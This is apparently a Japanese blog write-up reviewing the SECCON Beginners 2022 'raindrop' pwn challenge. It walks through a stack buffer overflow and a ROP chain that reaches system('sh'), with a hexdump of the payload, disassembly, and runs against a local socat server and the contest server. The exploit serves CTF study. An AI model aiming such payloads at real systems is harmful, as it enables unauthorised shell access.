SECCON Beginners 2022 復習(2/x)

raindrop

本番中

名前的にROPする問題と分かったが、ROPは勉強したけど良くわからなかった印象
解けると思わなかったので未着手

Writeup

作問した人のWriteupが以下 feneshi.co

BeginnersBofでWriteupのスクリプトが動かなくて困ったので、最初からWriteupのスクリプトを元にバイナリファイルを作って勉強することに。

サーバ準備

socat tcp-l:9001,reuseaddr,fork system:./chall &
echo flag > flag.txt

Writeupスクリプト実行。今回は正しく動いた。

$ python3 answer_write.py
flag
Segmentation fault
2022/06/07 23:16:26 socat[11902] E waitpid(): child 11903 exited with status 139

サーバに送り付けているバイナリファイルの中身を見るため、以下をスクリプトの途中に追加

with open("payload", mode='wb') as f:
     f.write(payload)

中身を見てみる

$ hexdump -Cv payload
00000000  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  |aaaaaaaaaaaaaaaa|
00000010  61 61 61 61 61 61 61 61  53 14 40 00 00 00 00 00  |aaaaaaaaS.@.....|
00000020  f4 20 40 00 00 00 00 00  e5 11 40 00 00 00 00 00  |. @.......@.....|
00000030

aを24個埋めた後、「00000000 00401453」「00000000 004020f4」「00000000 004011e5」を積んでいるらしい。 「00000000 00401453」でリターンアドレスを上書いているのだと思う。 「00000000 00401453」に何があるか見てみる

$ objdump -D -M intel chall > chall.txt
$ less chall.txt
  401452:       41 5f                   pop    r15
  401454:       c3                      ret

「5f c3」らしい。
調べると「5f」は「pop edi」とのこと。「c3」は「ret」なので、「pop edi」命令と「ret」命令を実行するアドレスに飛ばしているようだ。
となると、「00000000 004020f4」はediに入れたいアドレスで、「00000000 004011e5」はret命令で戻るアドレスということになる。

「00000000 004020f4」もみてみる。

$ less chall.txt
  4020f4:       73 68                   jae    40215e <__GNU_EH_FRAME_HDR+0x66>

jae命令のアドレスに見える。これだけではよくわからないので、「00000000 004011e5」を見てみる。

$ less chall.txt
  4011e5:       e8 b6 fe ff ff          call   4010a0 <system@plt>

system関数をcallするところだった。system関数の引数を調べてみる。

#include <stdlib.h>
int system(const char *command);

引数は文字列のアドレスらしい。ということは「00000000 004020f4」はjae命令のアドレスとして扱っているのではなく、 文字列のアドレスとして扱っていることになる。もう一度「00000000 004020f4」を見てみる。

$ less chall.txt
  4020f4:       73 68                   jae    40215e <__GNU_EH_FRAME_HDR+0x66>

「73 68」が文字列のようだ。調べたら「73」が「s」、「68」が「h」なので「sh」ということになる。
ただ、終端(NULL : 0x00)を確認していないのでもう一度見る。

$ less chall.txt
  4020f4:       73 68                   jae    40215e <__GNU_EH_FRAME_HDR+0x66>
        ...
Disassembly of section .eh_frame_hdr:
00000000004020f8 <__GNU_EH_FRAME_HDR>:
  4020f8:       01 1b                   add    DWORD PTR [rbx],ebx

4020f4の次が4020f8になっている。「73 68」の後ろは空白になっているが、おそらく「73 68 00 00」なのだろう。

まとめると、
「00000000 00401453」を書き込むことで「pop edi」命令と「ret」命令を実行するアドレスに行くようにし、
文字列「sh\0」のアドレス「00000000 004020f4」を入れて、system関数のアドレス「00000000 004011e5」を入れておくことで、
vuln関数から出るときにsystem("sh")を実行しているようだ。

最後に、バイナリファイルを入れてフラグが取得できることを確認する。

(自分)$ nc localhost 9001 < payload
nc localhost 9001 < payload
Hey! You are now going to try a simple problem using stack buffer overflow and ROP.

I will list some keywords that will give you hints, so please look them up if you don't understand them.

- stack buffer overflow
- return oriented programming
- calling conventions

stack dump...

[Index] |[Value]
========+===================
 000000 | 0x0000000000000000  <- buf
 000001 | 0x0000000000000000
 000002 | 0x00007fff73cc4400  <- saved rbp
 000003 | 0x00000000004011ff  <- saved ret addr
 000004 | 0x0000000000000000
finish
You can earn points by submitting the contents of flag.txt
Did you understand?
bye!
stack dump...

[Index] |[Value]
========+===================
 000000 | 0x6161616161616161  <- buf
 000001 | 0x6161616161616161
 000002 | 0x6161616161616161  <- saved rbp
 000003 | 0x0000000000401453  <- saved ret addr
 000004 | 0x00000000004020f4
cat flag.txt



^C
(自分)$ Segmentation fault
2022/06/07 23:51:19 socat[11948] E waitpid(): child 11949 exited with status 139
cat flag.txt
flag

「finish」の後無応答になったのでshが動いたのかと思ったら違った。なにこれどういう状態?ctrl-cしたらまた無応答になったので「cat flag.txt」したらフラグを取得できた。

感想

「finish」の後何が起きたのかよくわからないのが相変わらずpwnの問題だなという感じだが、ROPがどういうものか初めて理解できたと思った。

2022/06/12追記

discordのpwnableのチャネルを見ていたら本番サーバが生きていると分かったので、raindrop.quals.beginners.seccon.jp:9001にパイナリファイルpayloadを流し込んでみた。

(自分)$ nc raindrop.quals.beginners.seccon.jp 9001 < payload
Hey! You are now going to try a simple problem using stack buffer overflow and ROP.

I will list some keywords that will give you hints, so please look them up if you don't understand them.

- stack buffer overflow
- return oriented programming
- calling conventions

stack dump...

[Index] |[Value]
========+===================
 000000 | 0x0000000000000000  <- buf
 000001 | 0x0000000000000000
 000002 | 0x00007ffd3c0fbfd0  <- saved rbp
 000003 | 0x00000000004011ff  <- saved ret addr
 000004 | 0x0000000000000000
finish
You can earn points by submitting the contents of flag.txt
Did you understand?
bye!
stack dump...

[Index] |[Value]
========+===================
 000000 | 0x6161616161616161  <- buf
 000001 | 0x6161616161616161
 000002 | 0x6161616161616161  <- saved rbp
 000003 | 0x0000000000401453  <- saved ret addr
 000004 | 0x00000000004020f4
finish
cat flag.txt


^C
(自分)$

やっぱりfinishの後何を応答しても受けつけてくれなくなる。
自分の環境ではctrl-cで抜けたらサーバのシェルが動いたが、本番環境では自分のシェルに戻ってしまった。流し込むバイナリが正しければいいという話ではなく、標準入出力の仕様を理解していないとだめらしい。
何がいけないのか良く分からないがpythonのpwntoolsを使うしかないのかなと思う。